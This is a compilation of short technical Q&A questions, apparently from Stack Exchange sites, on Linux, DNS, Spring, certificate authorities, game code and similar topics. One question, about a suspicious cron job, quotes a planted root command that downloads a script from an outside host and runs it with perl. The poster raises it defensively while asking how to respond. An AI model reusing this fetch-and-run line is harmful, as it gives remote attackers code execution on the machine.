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  • Dark screen when wake / Unable to control screen brightness

    - by John
    Running Ubuntu 11.04 on Lenovo ThinkPad with an Nvida graphics card. The unit goes to sleep when the lid is shut. (The unit goes to suspend mode (not to disk/hibernate), AC gets turned off, running on battery) Upon lid-open sometimes the screen is almost too dark to read. I'm really not sure of the exact cause, (very low batt??). The only fix is a reboot. The screen brightness buttons have never worked in Ubuntu. I have messed w/ the power management preferences. No change. At one point I messed w/ the gnome settings. No change. I have tried a few cmds: echo 9>/sys/class/backlight/acpi_video0/brightness setpci -s 00:02.0 F4.B=10 xgamma -gamma .75 None of these help. Most have zero effect. I think it is and acpi thing, but that is just a guess. I'm out of idea's, and looking for suggestions. Thanks

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  • Compiled code spreadsheet-like cell management? (auto-updating)

    - by proGrammar
    Okay so I am fully aware how spreadsheets manage cells, they build dependency graphs where when one cell changes it tells all the other cells that are dependent on it that it changed. So they can from there update. How they update I think involves either re-evaluating the formulas stored as strings, or re-evaluating the abstract syntax tree which I think is stored differently and might be faster. Something like that. What I'm looking to do is manage a few variables in my code so I don't have to update them in the correct way, which would be a nightmare. But I also want it much faster than spreadsheets. And since I'm not looking for any functionality as great as are in these spreadsheets, I just figured from that thought point that there has to be a way to have a very fast implementation of this functionality. Especially since I don't have to modify cells after compiling unless that would be an option. I'm very new to programming so I have no idea. One example might be to have a code-generator that generates code that does this for me. But I have no clue what the generated code would look like. Specifically, how exactly would variables inform others that they need to update, and what do those variables do to update? I'm looking for any kind of ideas. Programming is not my job but nonetheless I was hoping to have some kind of system like this that would greatly help me with some stuff. Of course I have been programming plenty lately so I can still program. I just don't have the full scope on things. I'm looking for any kind of ideas, thank you very much in advance! Also, please help me with the tags. I know C# and Java mainly and I'm hoping to implement this in either of those languages and I'm hoping this can stay in those tags. Forcing this into some kind of spreadsheet tag wouldn't be accurate.

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  • How do you motivate peers to become better developers?

    - by Brian Rasmussen
    In my experience there seems to be two kinds of developers (if we simplify matters a great deal of course). On the one hand we have the developers, who may do a perfectly acceptable job, but who do not really care about the computer science part of their craft. They usually know few languages / technologies and are happy to let things stay that way. For whatever reason, they don't try to improve their computer science skills unless this is required in their current position. On the other hand, we have the geeks or the pragmatic programmers if you subscribe to that idea. They play around with other languages and technologies and usually have knowledge about several topics outside the technical domain of their current job. I would like to see more developers, who are enthusiastic about software development. If you share this point of view, what do you do to push your peers in that direction? Edit: follow-up question inspired by one of the answers: As non-managers, should we really care about this? And why/why not?

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  • When not to use Spring to instantiate a bean?

    - by Rishabh
    I am trying to understand what would be the correct usage of Spring. Not syntactically, but in term of its purpose. If one is using Spring, then should Spring code replace all bean instantiation code? When to use or when not to use Spring, to instantiate a bean? May be the following code sample will help in you understanding my dilemma: List<ClassA> caList = new ArrayList<ClassA>(); for (String name : nameList) { ClassA ca = new ClassA(); ca.setName(name); caList.add(ca); } If I configure Spring it becomes something like: List<ClassA> caList = new ArrayList<ClassA>(); for (String name : nameList) { ClassA ca = (ClassA)SomeContext.getBean(BeanLookupConstants.CLASS_A); ca.setName(name); caList.add(ca); } I personally think using Spring here is an unnecessary overhead, because The code the simpler to read/understand. It isn't really a good place for Dependency Injection as I am not expecting that there will be multiple/varied implementation of ClassA, that I would like freedom to replace using Spring configuration at a later point in time. Am I thinking correct? If not, where am I going wrong?

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  • SFTP permission denied on files owned by www-data

    - by Charles Roper
    I have a pretty standard server set up running Apache and PHP. An app I am running creates files and these are owned by the Apache user www-data. Files that I upload via SFTP are owned by my own user charlesr. All files are part of the www-data group. My problem is that I cannot modify or overwrite any of the files via SFTP which are owned by www-data, even though charlesr is part of the www-data group. I can modify the files no problem via a SSH session. So I'm not sure what to do. How do I give my SFTP session permissions to modify www-data owned files? For a bit of background, these are the notes I wrote for myself when setting-up the server: Now set up permissions on `/var/www` where your files are served from by default: $ sudo adduser $USER www-data $ sudo chgrp -R www-data /var/www $ sudo chmod -R g+rw /var/www $ sudo chmod -R g+s /var/www Now log out and log in again to make the changes take hold. The previous set of commands does the following: 1. adds the current user ($USER) to the `www-data` group; 2. changes `/var/www` to belong to the `www-data` group; 3. adds read/write permissions to the group that `/var/www` belongs to; 4. sets the SGID bit on `/var/www`; this final point bears some explaining. And then I go on to explain to myself what setting the SGID bit means (i.e. all files created in /var/www become part of the www-data group automatically). Btw, nothing feels sweeter than going back and reading your own detailed notes on the what, how and why of your own server set up when trying to troubleshoot like this - I recommend it highly to all beginners like myself :-)

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  • How to generate the right password format for Apache2 authentication in use with DBD and MySQL 5.1?

    - by Walkman
    I want to authenticate users for a folder from a MySQL 5.1 database with AuthType Basic. The passwords are stored in plain text (they are not really passwords, so doesn't matter). The password format for apache however only allows for SHA1, MD5 on Linux systems as described here. How could I generate the right format with an SQL query ? Seems like apache format is a binary format with a lenght of 20, but the mysql SHA1 function return 40 long. My SQL query is something like this: SELECT CONCAT('{SHA}', BASE64_ENCODE(SHA1(access_key))) FROM user_access_keys INNER JOIN users ON user_access_keys.user_id = users.id WHERE name = %s where base64_encode is a stored function (Mysql 5.1 doesn't have TO_BASE64 yet). This query returns a 61 byte BLOB which is not the same format that apache uses. How could I generate the same format ? You can suggest other method for this too. The point is that I want to authenticate users from a MySQL5.1 database using plain text as password.

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  • Fast Bookmarking In Firefox

    - by Kije
    Making bookmarks in Firefox has become tedious. Can any one point me to a bookmarking extension that works as follows... Decide you want to bookmark a page Left click your way to the target bookmark folder Right the target bookmark folder to get a "Bookmark this page here" option. (It is this "Bookmark this page here" add on that I am looking for) (Edit the book mark title tags etc) Click done Currently you have to: Decide you want to bookmark a page Click on the bookmarks menu pulldown Click on "bookmark this page" Click on the "folder" pulldown Click on "Bookmarks tool bar" or "Bookmarks menu" Left click your way to the target bookmark folder (in a teeny window that that doesn't move the focus as you expand folders) (Edit the book mark title tags etc) Click "Done" That would be four (or five) steps to replace the seven (or eight) steps to make a bookmark in an existing folder. @Chris I assume you are referring me to "Read It Later" http://www.ideashower.com/ideas/launched/read-it-later/ I'll take a look.

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  • using Moniker.com's nameservers

    - by user7519
    I have a VPS with A2Hosting for which i need to upgrade the OS. However, they've changed their VPS packages and forced me to order a new one. I went with an "unmanaged" package and have only just realised that they do not provide any DNS service at all, not even nameservers. Support tells me that "since your domain is not hosted with us, but with Moniker, you would not be able to use these nameservers. Your domain registrar should have a set of default nameservers that you can use, then create a A record to point to" my IP address. Moniker does provide for using their nameservers but i'm confused about which "pre-defined zone configuration" to use. They are: Domain Parking Domain Parking with Email Forwarding URL and Email Forwarding URL Forwarding URL Forwarding & CoolHandle Email I just want to use their nameserver and then create A & MX records pointing to the VPS. What do they mean by forwarding? I get the feeling it's a service that i don't want. Or, is it that i need to have a pre-defined zone only temporarily, and THEN set the A & MX? Which of these should i choose.

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  • What is the Best Free Linux Gateway

    - by rockinthesixstring
    I'm looking at moving away from using my DIR-825 as a gateway and moving into a Linux box to do it all for me. I've found IPCop, but I'm looking for something with a little more power. My main goal is basically to be able to point different external domain names to different internal servers. backup.example.com - 192.168.0.5 home.example.com - 192.168.0.1 I host my DNS on my own dedicated server (windows), so I don't know much about doing the gateway thing in my home (my hosting provider does it all for me). Do any of you know of any free Linux Distros that can accomplish what I'm looking for?

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  • Aironet 1200's Auto-Channel Feature: When should it be used?

    - by Josh Brower
    In our building we have around 25 1200 series Aironets, with a bit of overlap in some areas. Up until this point, we have had them deployed in alternating 1/6/11 channels, but we are wondering if we would get better performance if we used the auto-channel select feature. In looking around, I have seen comments that this feature should not be used as the WAP does a channel scan only on the radio startup, but I have not found this in any Cisco docs. Anybody have anymore information, or real-world experience with this feature? Thanks! -Josh

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  • How can I transform a Point2f with a matrix on Android?

    - by Vivendi
    I'm developing for Android and I'm using the android.renderscript.Matrix3f class to do some calculations. What I need to do now is to now is to do something like mat.tranform(pointIn, pointOut); So I need to transform a matrix by a given Point class. In awt I would simply do this: AffineTransform t = new AffineTransform(); Point2D.Float p = new Point2D.Float(); t.transform( p, p ); But in Android I now have this: Matrix3f t = new Matrix3f(); PointF p = new PointF(); // Now I need to tranform it somehow.. But the Matrix3f class in Android doesn't have a Matrix.transform(Point2D ptSrc, Point2D ptDst) method. So I guess I have to do the transformation manually. But I'm not really sure how that works. From what I've seen it's something like a translate and then a rotate? Could anyone please tell me how to do this in code?

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  • What are the main differences between SRV records and TXT records?

    - by Chris Adams
    Hi there, I'm trying to consolidate domain names for the servers I look after to just use one panel instead of 3 or 4, and one thing stopping me is that the provider I originally wanted to move them to only lets me the following kinds of records: A MX NS CNAME TXT The first four I understand, but I'm not sure about the relationship (if any) between SRV records and TXT records. Can I use TXT records in the place of SRV records? They both seem to be general text records to just point at a particular server without needing to specify a particular protocol, so it doesn't sound like a totally unreasonable assumption, but I'd rather check here before I break something. If I can only set the above records, does that mean I'm essentially unable to so any SRC record redirecting? Thanks!

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  • Create and use intermediate certificate authority on Windows Server 2012?

    - by Sid
    Background: Server OS is Windows Server 2012. GUI is installed as we come upto speed with powershell. Setup is staging, not production (yet). We have our (internal, domain limited) Root CA installed. I would like to take the Root CA offline to secure storage but before that I'd like to setup an intermediate CA which can take over actual live, online (int-RA-net) functionality Can someone guide me covering: creating the intermediate CA certificate request installing the intermediate CA certificate on domain controller (certification authority role already installed with Root CA online right now) use the intermediate CA to generate a certificate (any use certificate, just for demonstration purposes) Obviously this certification chain would be invalid on computers outside our domain (self trusted root - our root certificate is NOT from common 3rd parties). This last point is NOT a problem.

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  • Possible to make mysql server both master and slave?

    - by Amy Anuszewski
    I am getting ready to move a database from one server to another. In order to reduce downtime for the client, I am wondering if it would be possible for me to turn on replication and give it time to replicate fully, then just point the customer to the new server. The issue I have is that the server I'm moving to has existing, active databases for other customers. And, the server I'm moving from has other active customers who will not be moving at this time. Is this even possible? If so, how do I configure the server I am moving from and the one I am moving to?

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  • Can I run AD commands from a standard PowerShell script?

    - by Ben
    I am putting together a script to run post-sysprep. It should check if the machine is on the network, and if it is then it should query AD to see if a computer account exists with it's service tag (we're using these as the hostnames of the machines.) If it does exist, it should delete the account and rejoin the machine to the domain. I have got the majority of the script running, but need to run the following: Remove-ADComputer -Identity $distinguishedName How can I run this from the "standard" powershell environment? I don't want to use the AD module. (By the way - I'm on a mixed mode 2000/03 domain as we are in the process of upgrading to 2008) I'm new to PowerShell so be gentle if I'm completely missing the point! Thanks, Ben

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  • How to get two seperate remote domain controllers with same IP to work?

    - by Mr. Mister
    Hi, I have a VPN setup between multiple locations. Between each location and the central point (me), is a trust between our domain controllers. It all works great.. A new location wants to join, but their AD controller is using an IP address that is already in use by another AD in a separate location. Neither locations can change their IP addresses, but apparently there is a NAT rule that could be used to allow communication between each AD controller? The central site has a Cisco 5510 firewall which could perform the NAT, but I am unsure of the logic behind the NAT rule. Is anyone able to explain or help out? Thanks.

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  • Can I remove the systems from a component entity system?

    - by nathan
    After reading a lot about entity/component based engines. I feel like there is no real definition for this kind of engine. Reading this thread: Implementing features in an Entity System and the linked article made me think a lot. I did not feel that comfortable using System concept so I'll write something else, inspired by this pattern. I'd like to know if you think it's a good way to organize game code and what improvements can be made. Regarding a more strict implementation of entity/component based engine, is my solution viable? Do I risk getting stuck at any point due to the lack of flexibility of this implementation (or anything else)? My engine, as for entity/component patterns has entities and components, no systems since the game logic is handled by components. Also, I think the main difference is the fact that my engine will use inherence and OOP concepts in general, I mean, I don't try to minimize them. Entity: an entity is an abstract class. It holds his position, width and height, scale and a list of linked components. The current implementation can be found here (java). Every frame, the entity will be updated (i.e all the components linked to this entity will be updated), and rendered, if a render component is specified. Component: like for entity, a component is an abstract class that must be extended to create new components. The behavior of an entity is created through his components collection. The component implementation can be found here. Components are updated when the owning entity is updated or for only one specific component (render component), rendered. Here is an example of a logic component (i.e not a renderable component, a component that's updated each frame) in charge of listening for keyboard events and a render component in charge of display a plain sprite (i.e not animated).

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  • Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

    - by sr_1436048
    I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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  • Turn-based JRPG battle system architecture resources

    - by BenoitRen
    The past months I've been busy programming a 2D JRPG (Japanese-style RPG) in C++ using the SDL library. The exploration mode is more or less done. Now I'm tackling the battle mode. I have been unable to find any resources about how a classic turn-based JRPG battle system is structured. All I find are discussions about damage formula. I've tried googling, searching gamedev.net's message board, and crawling through C++-related questions here on Stack Exchange. I've also tried reading source code of existing open source RPGs, but without a guide of some sort it's like trying to find a needle in a haystack. I'm not looking for a set of rules like D&D or anything similar. I'm talking purely about code and object structure design. A battle system asks the player for input using menus. Next the battle turn is executed as the heroes and the enemies execute their actions. Can anyone point me in the right direction? Thanks in advance.

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  • Windows Server Task Scheduler: Running scheduled executable fail-safe?

    - by Mikael Koskinen
    I have an executable which I've scheduled to run once in every five minutes (using Window's built-in Task Scheduler). It's crucial that this executable is run because it updates few time critical files. But how can I react if the virtual server running the executable goes down? At no point there shouldn't be more than 15 minutes break between the runs. As I'm using Windows Server and its Task Scheduler, I wonder is it possible to create some kind of a cluster which automatically handles the situation? The problem is that the server in question is running on Windows Azure and I don't think I can create actual clusters using the virtual machines. If the problem can be solved using a 3rd party tool, that's OK too. To generalize the question a little bit: How to make sure that an executable is run once in every 5 minutes, even if there might be server failures?

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  • ssh-agent is broken after running Meerkat - can connect to git in terminal but not in Tower - no keychain access

    - by marblegravy
    My mac running Snow leopard 10.6.8 is having trouble handling it's ssh keys. I could previously access all my git repo's via Tower without an issue. The other day I ran Meerkat to see what it was about and it looks like it has broken the way ssh works. Terminal doesn't seem to have a problem and can still connect to Git, but it can't access the keychain. Tower doesn't seem to be able to access anything. The Tower support crew have been super helpful, but I wanted to float this here and see if anyone has any ideas on how to fix my problem. The only hints I have are: $ which ssh returns: /usr/bin/ssh and echo $SSH_AUTH_SOCK returns: /tmp/ssh-nBhRYVEg8t/agent.199 (This one seems to be wrong as I think it's supposed to point to a Listener, but no idea how to fix it) additional: Keychain first-aid finds no problems. The problem seems to be that ssh-agent is not being run properly... but that's just a guess.

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  • Eliminating "phantom" or "ghost" clicks on my Mac Pro

    - by fbrereto
    Recently on my Mac Pro I have been experiencing phantom clicks and other strange behaviors. I have been rummaging through my system preferences to try and root out possible causes, and recently came across a strange finding in the Exposé panel (the keyboard modifiers are there from my taking the screenshot): I have had a Logitech 2-button mouse with a mouse wheel for years, and have never had a problem with it in the past. In addition I am running OS X 10.6.8 and have not had any issues like this up to this point. Is this a known issue? Is the extensive mouse listing a red herring? Are there any fixes for either issue?

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  • Cannot mount USB drive -- FSTAB error

    - by user107646
    Recently, one of my desktops seems to have developed a problem with the fstab and mounting USB drives. The specific error I receive is... Unable to mount TRAVELDRIVE Error mounting: mount exited with exit code 1: helper failed with: Unprivileged user can not mount NTFS block devices using the external FUSE library. Either mount the volume as root, or rebuild NTFS-3G with integrated FUSE support and make it setuid root. Please see more information at http://tuxera.com/community/ntfs-3g-faq/#unprivileged The contents of my fstab are... /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc nodev,noexec,nosuid 0 0 #Entry for /dev/sdc1 : UUID=7e3431cd-522f-4e35-b286-4300fa702d4a / ext4 errors=remount-ro 0 1 #Entry for /dev/sda1 : UUID=60684D08684CDE82 /media/Archive ntfs-3g defaults,locale=en_US.UTF-8 0 0 #Entry for /dev/sdc5 : UUID=cd166221-4b1d-40f7-b9de-785208990587 none swap sw 0 0 /dev/sdd1 /media/sdd1 ntfs nls=iso8859-1,ro,users,umask=000,user 0 0 /dev/sdd5 /media/PS3 (fat32) vfat users,user 0 0 /dev/sdd5 /media/sdd5 vfat uid=m3talhead,users,user 0 0 I'm guessing its a problem with the duplicate /dev/sdd5 entries (?), but being the *nix noob I am, I'm not certain. What am I missing? Any assist is greatly appreciated!

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  • Sprites rendering blurry with velocity

    - by ashes999
    After adding velocity to my game, I feel like my textures are twitching. I thought it was just my eyes, until I finally captured it in a screenshot: The one on the left is what renders in my game; the one on the right is the original sprite, pasted over. (This is a screenshot from Photoshop, zoomed in 6x.) Notice the edges are aliasing -- it looks almost like sub-pixel rendering. In fact, if I had not forced my sprites (which have position and velocity as ints) to draw using integer values, I would swear that MonoGame is drawing with floating point values. But it isn't. What could be the cause of these things appearing blurry? It doesn't happen without velocity applied. To be precise, my SpriteComponent class has a Vector2 Position field. When I call Draw, I essentially use new Vector2((int)Math.Round(this.Position.X), (int)Math.Round(this.Position.Y)) for the position. I had a bug before where even stationary objects would jitter -- that was due to me using the straight Position vector and not rounding the values to ints. If I use Floor/Ceiling instead of round, the sprite sinks/hovers (one pixel difference either way) but still draws blurry.

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  • How can I add a custom item to the Sound Indicator (and make it clickable more than once)?

    - by con-f-use
    The original question One of the strength of Unity are the various standardized indicators. I want to customize the sound indicator with an additional menu entry that runs a small shell script. I'm not afraid of a little Python code and I hope someone can point me to the right subroutine in the right file. I suspect that will be fairly easy but all the indicators are just so bloated that I can't look through their code in a reasonable time. Any help is appreciated. I know it is possible as the marvelous Skype-Wrapper does it. Edit 2 - Now a dirty DBus hack The one click problem from one edit before has now turned into a DBus problem. Basically we have to tell the sound indicator that our bogus player has terminated now. A dirty hack navigates around that problem: #!/bin/bash # This is '/home/confus/bin/toggleSpeaker.sh' notify-send "Toggle Speaker" "$(date)" qdbus \ com.canonical.indicator.sound \ /org/ayatana/indicator/service \ org.ayatana.indicator.service.Shutdown exit 0 Help from the community is appreciated as I don't have experience any with DBus whatsoever. Edit 1 - Takkat found a solution but only clickable once? For some reason the solution proposed by Takkat has the drawback that the resulting entry in indicator sound can only be clicked once per session. If someone has a fix for, than please comment or answer, you will be upvoted. Here you can see the result: I strongly suspect the issue is related to the .desktop-file in /home/confus/.local/share/application/toggleSpeaker.desktop, which is this: [Desktop Entry] Type=Application Name=toggleSpeaker GenericName=Toggle Speaker Icon=gstreamer-properties Exec=/home/confus/bin/toggleSpeaker.sh Terminal=false And here is a minimal example of the script in /home/confus/bin/toggleSpeaker.sh for your consideration: #!/bin/bash # This is '/home/confus/bin/toggleSpeaker.sh' notify-send "Toggle Speaker" "$(date)" exit 0

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